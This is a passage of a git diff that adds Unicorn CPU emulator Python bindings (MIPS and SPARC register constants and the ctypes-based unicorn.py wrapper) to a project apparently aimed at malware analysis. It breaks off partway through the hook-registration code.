+UC_MIPS_REG_DSPCARRY = 35 +UC_MIPS_REG_DSPEFI = 36 +UC_MIPS_REG_DSPOUTFLAG = 37 +UC_MIPS_REG_DSPOUTFLAG16_19 = 38 +UC_MIPS_REG_DSPOUTFLAG20 = 39 +UC_MIPS_REG_DSPOUTFLAG21 = 40 +UC_MIPS_REG_DSPOUTFLAG22 = 41 +UC_MIPS_REG_DSPOUTFLAG23 = 42 +UC_MIPS_REG_DSPPOS = 43 +UC_MIPS_REG_DSPSCOUNT = 44 + +# ACC registers +UC_MIPS_REG_AC0 = 45 +UC_MIPS_REG_AC1 = 46 +UC_MIPS_REG_AC2 = 47 +UC_MIPS_REG_AC3 = 48 + +# COP registers +UC_MIPS_REG_CC0 = 49 +UC_MIPS_REG_CC1 = 50 +UC_MIPS_REG_CC2 = 51 +UC_MIPS_REG_CC3 = 52 +UC_MIPS_REG_CC4 = 53 +UC_MIPS_REG_CC5 = 54 +UC_MIPS_REG_CC6 = 55 +UC_MIPS_REG_CC7 = 56 + +# FPU registers +UC_MIPS_REG_F0 = 57 +UC_MIPS_REG_F1 = 58 +UC_MIPS_REG_F2 = 59 +UC_MIPS_REG_F3 = 60 +UC_MIPS_REG_F4 = 61 +UC_MIPS_REG_F5 = 62 +UC_MIPS_REG_F6 = 63 +UC_MIPS_REG_F7 = 64 +UC_MIPS_REG_F8 = 65 +UC_MIPS_REG_F9 = 66 +UC_MIPS_REG_F10 = 67 +UC_MIPS_REG_F11 = 68 +UC_MIPS_REG_F12 = 69 +UC_MIPS_REG_F13 = 70 +UC_MIPS_REG_F14 = 71 +UC_MIPS_REG_F15 = 72 +UC_MIPS_REG_F16 = 73 +UC_MIPS_REG_F17 = 74 +UC_MIPS_REG_F18 = 75 +UC_MIPS_REG_F19 = 76 +UC_MIPS_REG_F20 = 77 +UC_MIPS_REG_F21 = 78 +UC_MIPS_REG_F22 = 79 +UC_MIPS_REG_F23 = 80 +UC_MIPS_REG_F24 = 81 +UC_MIPS_REG_F25 = 82 +UC_MIPS_REG_F26 = 83 +UC_MIPS_REG_F27 = 84 +UC_MIPS_REG_F28 = 85 +UC_MIPS_REG_F29 = 86 +UC_MIPS_REG_F30 = 87 +UC_MIPS_REG_F31 = 88 +UC_MIPS_REG_FCC0 = 89 +UC_MIPS_REG_FCC1 = 90 +UC_MIPS_REG_FCC2 = 91 +UC_MIPS_REG_FCC3 = 92 +UC_MIPS_REG_FCC4 = 93 +UC_MIPS_REG_FCC5 = 94 +UC_MIPS_REG_FCC6 = 95 +UC_MIPS_REG_FCC7 = 96 + +# AFPR128 +UC_MIPS_REG_W0 = 97 +UC_MIPS_REG_W1 = 98 +UC_MIPS_REG_W2 = 99 +UC_MIPS_REG_W3 = 100 +UC_MIPS_REG_W4 = 101 +UC_MIPS_REG_W5 = 102 +UC_MIPS_REG_W6 = 103 +UC_MIPS_REG_W7 = 104 +UC_MIPS_REG_W8 = 105 +UC_MIPS_REG_W9 = 106 +UC_MIPS_REG_W10 = 107 +UC_MIPS_REG_W11 = 108 +UC_MIPS_REG_W12 = 109 +UC_MIPS_REG_W13 = 110 +UC_MIPS_REG_W14 = 111 +UC_MIPS_REG_W15 = 112 +UC_MIPS_REG_W16 = 113 +UC_MIPS_REG_W17 = 114 +UC_MIPS_REG_W18 = 115 +UC_MIPS_REG_W19 = 116 +UC_MIPS_REG_W20 = 117 +UC_MIPS_REG_W21 = 118 +UC_MIPS_REG_W22 = 119 +UC_MIPS_REG_W23 = 120 +UC_MIPS_REG_W24 = 121 +UC_MIPS_REG_W25 = 122 +UC_MIPS_REG_W26 = 123 +UC_MIPS_REG_W27 = 124 +UC_MIPS_REG_W28 = 125 +UC_MIPS_REG_W29 = 126 +UC_MIPS_REG_W30 = 127 +UC_MIPS_REG_W31 = 128 +UC_MIPS_REG_HI = 129 +UC_MIPS_REG_LO = 130 +UC_MIPS_REG_P0 = 131 +UC_MIPS_REG_P1 = 132 +UC_MIPS_REG_P2 = 133 +UC_MIPS_REG_MPL0 = 134 +UC_MIPS_REG_MPL1 = 135 +UC_MIPS_REG_MPL2 = 136 +UC_MIPS_REG_CP0_CONFIG3 = 137 +UC_MIPS_REG_CP0_USERLOCAL = 138 +UC_MIPS_REG_ENDING = 139 +UC_MIPS_REG_ZERO = 2 +UC_MIPS_REG_AT = 3 +UC_MIPS_REG_V0 = 4 +UC_MIPS_REG_V1 = 5 +UC_MIPS_REG_A0 = 6 +UC_MIPS_REG_A1 = 7 +UC_MIPS_REG_A2 = 8 +UC_MIPS_REG_A3 = 9 +UC_MIPS_REG_T0 = 10 +UC_MIPS_REG_T1 = 11 +UC_MIPS_REG_T2 = 12 +UC_MIPS_REG_T3 = 13 +UC_MIPS_REG_T4 = 14 +UC_MIPS_REG_T5 = 15 +UC_MIPS_REG_T6 = 16 +UC_MIPS_REG_T7 = 17 +UC_MIPS_REG_S0 = 18 +UC_MIPS_REG_S1 = 19 +UC_MIPS_REG_S2 = 20 +UC_MIPS_REG_S3 = 21 +UC_MIPS_REG_S4 = 22 +UC_MIPS_REG_S5 = 23 +UC_MIPS_REG_S6 = 24 +UC_MIPS_REG_S7 = 25 +UC_MIPS_REG_T8 = 26 +UC_MIPS_REG_T9 = 27 +UC_MIPS_REG_K0 = 28 +UC_MIPS_REG_K1 = 29 +UC_MIPS_REG_GP = 30 +UC_MIPS_REG_SP = 31 +UC_MIPS_REG_FP = 32 +UC_MIPS_REG_S8 = 32 +UC_MIPS_REG_RA = 33 +UC_MIPS_REG_HI0 = 45 +UC_MIPS_REG_HI1 = 46 +UC_MIPS_REG_HI2 = 47 +UC_MIPS_REG_HI3 = 48 +UC_MIPS_REG_LO0 = 45 +UC_MIPS_REG_LO1 = 46 +UC_MIPS_REG_LO2 = 47 +UC_MIPS_REG_LO3 = 48 diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/sparc_const.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/sparc_const.py new file mode 100644 index 0000000..7bd326d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/sparc_const.py @@ -0,0 +1,96 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [sparc_const.py] + +# SPARC registers + +UC_SPARC_REG_INVALID = 0 +UC_SPARC_REG_F0 = 1 +UC_SPARC_REG_F1 = 2 +UC_SPARC_REG_F2 = 3 +UC_SPARC_REG_F3 = 4 +UC_SPARC_REG_F4 = 5 +UC_SPARC_REG_F5 = 6 +UC_SPARC_REG_F6 = 7 +UC_SPARC_REG_F7 = 8 +UC_SPARC_REG_F8 = 9 +UC_SPARC_REG_F9 = 10 +UC_SPARC_REG_F10 = 11 +UC_SPARC_REG_F11 = 12 +UC_SPARC_REG_F12 = 13 +UC_SPARC_REG_F13 = 14 +UC_SPARC_REG_F14 = 15 +UC_SPARC_REG_F15 = 16 +UC_SPARC_REG_F16 = 17 +UC_SPARC_REG_F17 = 18 +UC_SPARC_REG_F18 = 19 +UC_SPARC_REG_F19 = 20 +UC_SPARC_REG_F20 = 21 +UC_SPARC_REG_F21 = 22 +UC_SPARC_REG_F22 = 23 +UC_SPARC_REG_F23 = 24 +UC_SPARC_REG_F24 = 25 +UC_SPARC_REG_F25 = 26 +UC_SPARC_REG_F26 = 27 +UC_SPARC_REG_F27 = 28 +UC_SPARC_REG_F28 = 29 +UC_SPARC_REG_F29 = 30 +UC_SPARC_REG_F30 = 31 +UC_SPARC_REG_F31 = 32 +UC_SPARC_REG_F32 = 33 +UC_SPARC_REG_F34 = 34 +UC_SPARC_REG_F36 = 35 +UC_SPARC_REG_F38 = 36 +UC_SPARC_REG_F40 = 37 +UC_SPARC_REG_F42 = 38 +UC_SPARC_REG_F44 = 39 +UC_SPARC_REG_F46 = 40 +UC_SPARC_REG_F48 = 41 +UC_SPARC_REG_F50 = 42 +UC_SPARC_REG_F52 = 43 +UC_SPARC_REG_F54 = 44 +UC_SPARC_REG_F56 = 45 +UC_SPARC_REG_F58 = 46 +UC_SPARC_REG_F60 = 47 +UC_SPARC_REG_F62 = 48 +UC_SPARC_REG_FCC0 = 49 +UC_SPARC_REG_FCC1 = 50 +UC_SPARC_REG_FCC2 = 51 +UC_SPARC_REG_FCC3 = 52 +UC_SPARC_REG_G0 = 53 +UC_SPARC_REG_G1 = 54 +UC_SPARC_REG_G2 = 55 +UC_SPARC_REG_G3 = 56 +UC_SPARC_REG_G4 = 57 +UC_SPARC_REG_G5 = 58 +UC_SPARC_REG_G6 = 59 +UC_SPARC_REG_G7 = 60 +UC_SPARC_REG_I0 = 61 +UC_SPARC_REG_I1 = 62 +UC_SPARC_REG_I2 = 63 +UC_SPARC_REG_I3 = 64 +UC_SPARC_REG_I4 = 65 +UC_SPARC_REG_I5 = 66 +UC_SPARC_REG_FP = 67 +UC_SPARC_REG_I7 = 68 +UC_SPARC_REG_ICC = 69 +UC_SPARC_REG_L0 = 70 +UC_SPARC_REG_L1 = 71 +UC_SPARC_REG_L2 = 72 +UC_SPARC_REG_L3 = 73 +UC_SPARC_REG_L4 = 74 +UC_SPARC_REG_L5 = 75 +UC_SPARC_REG_L6 = 76 +UC_SPARC_REG_L7 = 77 +UC_SPARC_REG_O0 = 78 +UC_SPARC_REG_O1 = 79 +UC_SPARC_REG_O2 = 80 +UC_SPARC_REG_O3 = 81 +UC_SPARC_REG_O4 = 82 +UC_SPARC_REG_O5 = 83 +UC_SPARC_REG_SP = 84 +UC_SPARC_REG_O7 = 85 +UC_SPARC_REG_Y = 86 +UC_SPARC_REG_XCC = 87 +UC_SPARC_REG_PC = 88 +UC_SPARC_REG_ENDING = 89 +UC_SPARC_REG_O6 = 84 +UC_SPARC_REG_I6 = 67 diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/unicorn.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/unicorn.py new file mode 100644 index 0000000..7f76976 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/unicorn/unicorn.py @@ -0,0 +1,689 @@ +# Unicorn Python bindings, by Nguyen Anh Quynnh <aquynh@gmail.com> + +import ctypes +import ctypes.util +import distutils.sysconfig +import pkg_resources +import inspect +import os.path +import sys +import weakref + +from . import x86_const, arm64_const, unicorn_const as uc + +if not hasattr(sys.modules[__name__], "__file__"): + __file__ = inspect.getfile(inspect.currentframe()) + +_python2 = sys.version_info[0] < 3 +if _python2: + range = xrange + +_lib = { 'darwin': 'libunicorn.dylib', + 'win32': 'unicorn.dll', + 'cygwin': 'cygunicorn.dll', + 'linux': 'libunicorn.so', + 'linux2': 'libunicorn.so' } + + +# Windows DLL in dependency order +_all_windows_dlls = ( + "libwinpthread-1.dll", + "libgcc_s_seh-1.dll", + "libgcc_s_dw2-1.dll", +) + +_loaded_windows_dlls = set() + +def _load_win_support(path): + for dll in _all_windows_dlls: + if dll in _loaded_windows_dlls: + continue + + lib_file = os.path.join(path, dll) + if ('/' not in path and '\\' not in path) or os.path.exists(lib_file): + try: + #print('Trying to load Windows library', lib_file) + ctypes.cdll.LoadLibrary(lib_file) + #print('SUCCESS') + _loaded_windows_dlls.add(dll) + except OSError as e: + #print('FAIL to load %s' %lib_file, e) + continue + +# Initial attempt: load all dlls globally +if sys.platform in ('win32', 'cygwin'): + _load_win_support('') + +def _load_lib(path): + try: + if sys.platform in ('win32', 'cygwin'): + _load_win_support(path) + + lib_file = os.path.join(path, _lib.get(sys.platform, 'libunicorn.so')) + #print('Trying to load shared library', lib_file) + dll = ctypes.cdll.LoadLibrary(lib_file) + #print('SUCCESS') + return dll + except OSError as e: + #print('FAIL to load %s' %lib_file, e) + return None + +_uc = None + +# Loading attempts, in order +# - user-provided environment variable +# - pkg_resources can get us the path to the local libraries +# - we can get the path to the local libraries by parsing our filename +# - global load +# - python's lib directory +# - last-gasp attempt at some hardcoded paths on darwin and linux + +_path_list = [os.getenv('LIBUNICORN_PATH', None), + pkg_resources.resource_filename(__name__, 'lib'), + os.path.join(os.path.split(__file__)[0], 'lib'), + '', + distutils.sysconfig.get_python_lib(), + "/usr/local/lib/" if sys.platform == 'darwin' else '/usr/lib64', + os.getenv('PATH', '')] + +#print(_path_list) +#print("-" * 80) + +for _path in _path_list: + if _path is None: continue + _uc = _load_lib(_path) + if _uc is not None: break +else: + raise ImportError("ERROR: fail to load the dynamic library.") + +__version__ = "%u.%u.%u" % (uc.UC_VERSION_MAJOR, uc.UC_VERSION_MINOR, uc.UC_VERSION_EXTRA) + +# setup all the function prototype +def _setup_prototype(lib, fname, restype, *argtypes): + getattr(lib, fname).restype = restype + getattr(lib, fname).argtypes = argtypes + +ucerr = ctypes.c_int +uc_engine = ctypes.c_void_p +uc_context = ctypes.c_void_p +uc_hook_h = ctypes.c_size_t + +class _uc_mem_region(ctypes.Structure): + _fields_ = [ + ("begin", ctypes.c_uint64), + ("end", ctypes.c_uint64), + ("perms", ctypes.c_uint32), + ] + + +_setup_prototype(_uc, "uc_version", ctypes.c_uint, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int)) +_setup_prototype(_uc, "uc_arch_supported", ctypes.c_bool, ctypes.c_int) +_setup_prototype(_uc, "uc_open", ucerr, ctypes.c_uint, ctypes.c_uint, ctypes.POINTER(uc_engine)) +_setup_prototype(_uc, "uc_close", ucerr, uc_engine) +_setup_prototype(_uc, "uc_strerror", ctypes.c_char_p, ucerr) +_setup_prototype(_uc, "uc_errno", ucerr, uc_engine) +_setup_prototype(_uc, "uc_reg_read", ucerr, uc_engine, ctypes.c_int, ctypes.c_void_p) +_setup_prototype(_uc, "uc_reg_write", ucerr, uc_engine, ctypes.c_int, ctypes.c_void_p) +_setup_prototype(_uc, "uc_mem_read", ucerr, uc_engine, ctypes.c_uint64, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t) +_setup_prototype(_uc, "uc_mem_write", ucerr, uc_engine, ctypes.c_uint64, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t) +_setup_prototype(_uc, "uc_emu_start", ucerr, uc_engine, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_size_t) +_setup_prototype(_uc, "uc_emu_stop", ucerr, uc_engine) +_setup_prototype(_uc, "uc_hook_del", ucerr, uc_engine, uc_hook_h) +_setup_prototype(_uc, "uc_mem_map", ucerr, uc_engine, ctypes.c_uint64, ctypes.c_size_t, ctypes.c_uint32) +_setup_prototype(_uc, "uc_mem_map_ptr", ucerr, uc_engine, ctypes.c_uint64, ctypes.c_size_t, ctypes.c_uint32, ctypes.c_void_p) +_setup_prototype(_uc, "uc_mem_unmap", ucerr, uc_engine, ctypes.c_uint64, ctypes.c_size_t) +_setup_prototype(_uc, "uc_mem_protect", ucerr, uc_engine, ctypes.c_uint64, ctypes.c_size_t, ctypes.c_uint32) +_setup_prototype(_uc, "uc_query", ucerr, uc_engine, ctypes.c_uint32, ctypes.POINTER(ctypes.c_size_t)) +_setup_prototype(_uc, "uc_context_alloc", ucerr, uc_engine, ctypes.POINTER(uc_context)) +_setup_prototype(_uc, "uc_free", ucerr, ctypes.c_void_p) +_setup_prototype(_uc, "uc_context_save", ucerr, uc_engine, uc_context) +_setup_prototype(_uc, "uc_context_restore", ucerr, uc_engine, uc_context) +_setup_prototype(_uc, "uc_context_size", ctypes.c_size_t, uc_engine) +_setup_prototype(_uc, "uc_context_free", ucerr, uc_context) +_setup_prototype(_uc, "uc_mem_regions", ucerr, uc_engine, ctypes.POINTER(ctypes.POINTER(_uc_mem_region)), ctypes.POINTER(ctypes.c_uint32)) + +# uc_hook_add is special due to variable number of arguments +_uc.uc_hook_add = _uc.uc_hook_add +_uc.uc_hook_add.restype = ucerr + +UC_HOOK_CODE_CB = ctypes.CFUNCTYPE(None, uc_engine, ctypes.c_uint64, ctypes.c_size_t, ctypes.c_void_p) +UC_HOOK_INSN_INVALID_CB = ctypes.CFUNCTYPE(ctypes.c_bool, uc_engine, ctypes.c_void_p) +UC_HOOK_MEM_INVALID_CB = ctypes.CFUNCTYPE( + ctypes.c_bool, uc_engine, ctypes.c_int, + ctypes.c_uint64, ctypes.c_int, ctypes.c_int64, ctypes.c_void_p +) +UC_HOOK_MEM_ACCESS_CB = ctypes.CFUNCTYPE( + None, uc_engine, ctypes.c_int, + ctypes.c_uint64, ctypes.c_int, ctypes.c_int64, ctypes.c_void_p +) +UC_HOOK_INTR_CB = ctypes.CFUNCTYPE( + None, uc_engine, ctypes.c_uint32, ctypes.c_void_p +) +UC_HOOK_INSN_IN_CB = ctypes.CFUNCTYPE( + ctypes.c_uint32, uc_engine, ctypes.c_uint32, ctypes.c_int, ctypes.c_void_p +) +UC_HOOK_INSN_OUT_CB = ctypes.CFUNCTYPE( + None, uc_engine, ctypes.c_uint32, + ctypes.c_int, ctypes.c_uint32, ctypes.c_void_p +) +UC_HOOK_INSN_SYSCALL_CB = ctypes.CFUNCTYPE(None, uc_engine, ctypes.c_void_p) + + +# access to error code via @errno of UcError +class UcError(Exception): + def __init__(self, errno): + self.errno = errno + + def __str__(self): + return _uc.uc_strerror(self.errno).decode('ascii') + + +# return the core's version +def uc_version(): + major = ctypes.c_int() + minor = ctypes.c_int() + combined = _uc.uc_version(ctypes.byref(major), ctypes.byref(minor)) + return (major.value, minor.value, combined) + + +# return the binding's version +def version_bind(): + return ( + uc.UC_API_MAJOR, uc.UC_API_MINOR, + (uc.UC_API_MAJOR << 8) + uc.UC_API_MINOR, + ) + + +# check to see if this engine supports a particular arch +def uc_arch_supported(query): + return _uc.uc_arch_supported(query) + + +class uc_x86_mmr(ctypes.Structure): + """Memory-Management Register for instructions IDTR, GDTR, LDTR, TR.""" + _fields_ = [ + ("selector", ctypes.c_uint16), # not used by GDTR and IDTR + ("base", ctypes.c_uint64), # handle 32 or 64 bit CPUs + ("limit", ctypes.c_uint32), + ("flags", ctypes.c_uint32), # not used by GDTR and IDTR + ] + +class uc_x86_msr(ctypes.Structure): + _fields_ = [ + ("rid", ctypes.c_uint32), + ("value", ctypes.c_uint64), + ] + +class uc_x86_float80(ctypes.Structure): + """Float80""" + _fields_ = [ + ("mantissa", ctypes.c_uint64), + ("exponent", ctypes.c_uint16), + ] + + +class uc_x86_xmm(ctypes.Structure): + """128-bit xmm register""" + _fields_ = [ + ("low_qword", ctypes.c_uint64), + ("high_qword", ctypes.c_uint64), + ] + +class uc_x86_ymm(ctypes.Structure): + """256-bit ymm register""" + _fields_ = [ + ("first_qword", ctypes.c_uint64), + ("second_qword", ctypes.c_uint64), + ("third_qword", ctypes.c_uint64), + ("fourth_qword", ctypes.c_uint64), + ] + +class uc_arm64_neon128(ctypes.Structure): + """128-bit neon register""" + _fields_ = [ + ("low_qword", ctypes.c_uint64), + ("high_qword", ctypes.c_uint64), + ] + +# Subclassing ref to allow property assignment. +class UcRef(weakref.ref): + pass + +# This class tracks Uc instance destruction and releases handles. +class UcCleanupManager(object): + def __init__(self): + self._refs = {} + + def register(self, uc): + ref = UcRef(uc, self._finalizer) + ref._uch = uc._uch + ref._class = uc.__class__ + self._refs[id(ref)] = ref + + def _finalizer(self, ref): + # note: this method must be completely self-contained and cannot have any references + # to anything else in this module. + # + # This is because it may be called late in the Python interpreter's shutdown phase, at + # which point the module's variables may already have been deinitialized and set to None. + # + # Not respecting that can lead to errors such as: + # Exception AttributeError: + # "'NoneType' object has no attribute 'release_handle'" + # in <bound method UcCleanupManager._finalizer of + # <unicorn.unicorn.UcCleanupManager object at 0x7f0bb83e4310>> ignored + # + # For that reason, we do not try to access the `Uc` class directly here but instead use + # the saved `._class` reference. + del self._refs[id(ref)] + ref._class.release_handle(ref._uch) + +class Uc(object): + _cleanup = UcCleanupManager() + + def __init__(self, arch, mode): + # verify version compatibility with the core before doing anything + (major, minor, _combined) = uc_version() + if major != uc.UC_API_MAJOR or minor != uc.UC_API_MINOR: + self._uch = None + # our binding version is different from the core's API version + raise UcError(uc.UC_ERR_VERSION) + + self._arch, self._mode = arch, mode + self._uch = ctypes.c_void_p() + status = _uc.uc_open(arch, mode, ctypes.byref(self._uch)) + if status != uc.UC_ERR_OK: + self._uch = None + raise UcError(status) + # internal mapping table to save callback & userdata + self._callbacks = {} + self._ctype_cbs = {} + self._callback_count = 0 + self._cleanup.register(self) + + @staticmethod + def release_handle(uch): + if uch: + try: + status = _uc.uc_close(uch) + if status != uc.UC_ERR_OK: + raise UcError(status) + except: # _uc might be pulled from under our feet + pass + + # emulate from @begin, and stop when reaching address @until + def emu_start(self, begin, until, timeout=0, count=0): + status = _uc.uc_emu_start(self._uch, begin, until, timeout, count) + if status != uc.UC_ERR_OK: + raise UcError(status) + + # stop emulation + def emu_stop(self): + status = _uc.uc_emu_stop(self._uch) + if status != uc.UC_ERR_OK: + raise UcError(status) + + # return the value of a register + def reg_read(self, reg_id, opt=None): + if self._arch == uc.UC_ARCH_X86: + if reg_id in [x86_const.UC_X86_REG_IDTR, x86_const.UC_X86_REG_GDTR, x86_const.UC_X86_REG_LDTR, x86_const.UC_X86_REG_TR]: + reg = uc_x86_mmr() + status = _uc.uc_reg_read(self._uch, reg_id, ctypes.byref(reg)) + if status != uc.UC_ERR_OK: + raise UcError(status) + return reg.selector, reg.base, reg.limit, reg.flags + if reg_id in range(x86_const.UC_X86_REG_FP0, x86_const.UC_X86_REG_FP0+8): + reg = uc_x86_float80() + status = _uc.uc_reg_read(self._uch, reg_id, ctypes.byref(reg)) + if status != uc.UC_ERR_OK: + raise UcError(status) + return reg.mantissa, reg.exponent + if reg_id in range(x86_const.UC_X86_REG_XMM0, x86_const.UC_X86_REG_XMM0+8): + reg = uc_x86_xmm() + status = _uc.uc_reg_read(self._uch, reg_id, ctypes.byref(reg)) + if status != uc.UC_ERR_OK: + raise UcError(status) + return reg.low_qword | (reg.high_qword << 64) + if reg_id in range(x86_const.UC_X86_REG_YMM0, x86_const.UC_X86_REG_YMM0+16): + reg = uc_x86_ymm() + status = _uc.uc_reg_read(self._uch, reg_id, ctypes.byref(reg)) + if status != uc.UC_ERR_OK: + raise UcError(status) + return reg.first_qword | (reg.second_qword << 64) | (reg.third_qword << 128) | (reg.fourth_qword << 192) + if reg_id is x86_const.UC_X86_REG_MSR: + if opt is None: + raise UcError(uc.UC_ERR_ARG) + reg = uc_x86_msr() + reg.rid = opt + status = _uc.uc_reg_read(self._uch, reg_id, ctypes.byref(reg)) + if status != uc.UC_ERR_OK: + raise UcError(status) + return reg.value + + if self._arch == uc.UC_ARCH_ARM64: + if reg_id in range(arm64_const.UC_ARM64_REG_Q0, arm64_const.UC_ARM64_REG_Q31+1) or range(arm64_const.UC_ARM64_REG_V0, arm64_const.UC_ARM64_REG_V31+1): + reg = uc_arm64_neon128() + status = _uc.uc_reg_read(self._uch, reg_id, ctypes.byref(reg)) + if status != uc.UC_ERR_OK: + raise UcError(status) + return reg.low_qword | (reg.high_qword << 64) + + # read to 64bit number to be safe + reg = ctypes.c_uint64(0) + status = _uc.uc_reg_read(self._uch, reg_id, ctypes.byref(reg)) + if status != uc.UC_ERR_OK: + raise UcError(status) + return reg.value + + # write to a register + def reg_write(self, reg_id, value): + reg = None + + if self._arch == uc.UC_ARCH_X86: + if reg_id in [x86_const.UC_X86_REG_IDTR, x86_const.UC_X86_REG_GDTR, x86_const.UC_X86_REG_LDTR, x86_const.UC_X86_REG_TR]: + assert isinstance(value, tuple) and len(value) == 4 + reg = uc_x86_mmr() + reg.selector = value[0] + reg.base = value[1] + reg.limit = value[2] + reg.flags = value[3] + if reg_id in range(x86_const.UC_X86_REG_FP0, x86_const.UC_X86_REG_FP0+8): + reg = uc_x86_float80() + reg.mantissa = value[0] + reg.exponent = value[1] + if reg_id in range(x86_const.UC_X86_REG_XMM0, x86_const.UC_X86_REG_XMM0+8): + reg = uc_x86_xmm() + reg.low_qword = value & 0xffffffffffffffff + reg.high_qword = value >> 64 + if reg_id in range(x86_const.UC_X86_REG_YMM0, x86_const.UC_X86_REG_YMM0+16): + reg = uc_x86_ymm() + reg.first_qword = value & 0xffffffffffffffff + reg.second_qword = (value >> 64) & 0xffffffffffffffff + reg.third_qword = (value >> 128) & 0xffffffffffffffff + reg.fourth_qword = value >> 192 + if reg_id is x86_const.UC_X86_REG_MSR: + reg = uc_x86_msr() + reg.rid = value[0] + reg.value = value[1] + + if self._arch == uc.UC_ARCH_ARM64: + if reg_id in range(arm64_const.UC_ARM64_REG_Q0, arm64_const.UC_ARM64_REG_Q31+1) or range(arm64_const.UC_ARM64_REG_V0, arm64_const.UC_ARM64_REG_V31+1): + reg = uc_arm64_neon128() + reg.low_qword = value & 0xffffffffffffffff + reg.high_qword = value >> 64 + + if reg is None: + # convert to 64bit number to be safe + reg = ctypes.c_uint64(value) + + status = _uc.uc_reg_write(self._uch, reg_id, ctypes.byref(reg)) + if status != uc.UC_ERR_OK: + raise UcError(status) + + # read from MSR - X86 only + def msr_read(self, msr_id): + return self.reg_read(x86_const.UC_X86_REG_MSR, msr_id) + + # write to MSR - X86 only + def msr_write(self, msr_id, value): + return self.reg_write(x86_const.UC_X86_REG_MSR, (msr_id, value)) + + # read data from memory + def mem_read(self, address, size): + data = ctypes.create_string_buffer(size) + status = _uc.uc_mem_read(self._uch, address, data, size) + if status != uc.UC_ERR_OK: + raise UcError(status) + return bytearray(data) + + # write to memory + def mem_write(self, address, data): + status = _uc.uc_mem_write(self._uch, address, data, len(data)) + if status != uc.UC_ERR_OK: + raise UcError(status) + + # map a range of memory + def mem_map(self, address, size, perms=uc.UC_PROT_ALL): + status = _uc.uc_mem_map(self._uch, address, size, perms) + if status != uc.UC_ERR_OK: + raise UcError(status) + + # map a range of memory from a raw host memory address + def mem_map_ptr(self, address, size, perms, ptr): + status = _uc.uc_mem_map_ptr(self._uch, address, size, perms, ptr) + if status != uc.UC_ERR_OK: + raise UcError(status) + + # unmap a range of memory + def mem_unmap(self, address, size): + status = _uc.uc_mem_unmap(self._uch, address, size) + if status != uc.UC_ERR_OK: + raise UcError(status) + + # protect a range of memory + def mem_protect(self, address, size, perms=uc.UC_PROT_ALL): + status = _uc.uc_mem_protect(self._uch, address, size, perms) + if status != uc.UC_ERR_OK: + raise UcError(status) + + # return CPU mode at runtime + def query(self, query_mode): + result = ctypes.c_size_t(0) + status = _uc.uc_query(self._uch, query_mode, ctypes.byref(result)) + if status != uc.UC_ERR_OK: + raise UcError(status) + return result.value + + def _hookcode_cb(self, handle, address, size, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + cb(self, address, size, data) + + def _hook_mem_invalid_cb(self, handle, access, address, size, value, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + return cb(self, access, address, size, value, data) + + def _hook_mem_access_cb(self, handle, access, address, size, value, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + cb(self, access, address, size, value, data) + + def _hook_intr_cb(self, handle, intno, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + cb(self, intno, data) + + def _hook_insn_invalid_cb(self, handle, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + return cb(self, data) + + def _hook_insn_in_cb(self, handle, port, size, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + return cb(self, port, size, data) + + def _hook_insn_out_cb(self, handle, port, size, value, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + cb(self, port, size, value, data) + + def _hook_insn_syscall_cb(self, handle, user_data): + # call user's callback with self object + (cb, data) = self._callbacks[user_data] + cb(self, data) + + # add a hook + def hook_add(self, htype, callback, user_data=None, begin=1, end=0, arg1=0): + _h2 = uc_hook_h() + + # save callback & user_data + self._callback_count += 1 + self._callbacks[self._callback_count] = (callback, user_data) + cb = None + + if htype == uc.UC_HOOK_INSN: + insn = ctypes.c_int(arg1) + if arg1 == x86_const.UC_X86_INS_IN: # IN instruction + cb = ctypes.cast(UC_HOOK_INSN_IN_CB(self._hook_insn_in_cb), UC_HOOK_INSN_IN_CB) + if arg1 == x86_const.UC_X86_INS_OUT: # OUT instruction + cb = ctypes.cast(UC_HOOK_INSN_OUT_CB(self._hook_insn_out_cb), UC_HOOK_INSN_OUT_CB) + if arg1 in (x86_const.UC_X86_INS_SYSCALL, x86_const.UC_X86_INS_SYSENTER): # SYSCALL/SYSENTER instruction + cb = ctypes.cast(UC_HOOK_INSN_SYSCALL_CB(self._hook_insn_syscall_cb), UC_HOOK_INSN_SYSCALL_CB) + status = _uc.uc_hook_add( + self._uch, ctypes.byref(_h2), htype, cb, + ctypes.cast(self._callback_count, ctypes.c_void_p), + ctypes.c_uint64(begin), ctypes.c_uint64(end), insn + ) + elif htype == uc.UC_HOOK_INTR: + cb = ctypes.cast(UC_HOOK_INTR_CB(self._hook_intr_cb), UC_HOOK_INTR_CB) + status = _uc.uc_hook_add( + self._uch, ctypes.byref(_h2), htype, cb, + ctypes.cast(self._callback_count, ctypes.c_void_p), + ctypes.c_uint64(begin), ctypes.c_uint64(end) + ) + elif htype == uc.UC_HOOK_INSN_INVALID: + cb = ctypes.cast(UC_HOOK_INSN_INVALID_CB(self._hook_insn_invalid_cb), UC_HOOK_INSN_INVALID_CB) + status = _uc.uc_hook_add( + self._uch, ctypes.byref(_h2), htype, cb, + ctypes.cast(self._callback_count, ctypes.c_void_p), + ctypes.c_uint64(begin), ctypes.c_uint64(end) + ) + else: + if htype in (uc.UC_HOOK_BLOCK, uc.UC_HOOK_CODE): + # set callback with wrapper, so it can be called + # with this object as param + cb = ctypes.cast(UC_HOOK_CODE_CB(self._hookcode_cb), UC_HOOK_CODE_CB) + status = _uc.uc_hook_add( + self._uch, ctypes.byref(_h2), htype, cb, + ctypes.cast(self._callback_count, ctypes.c_void_p), + ctypes.c_uint64(begin), ctypes.c_uint64(end) 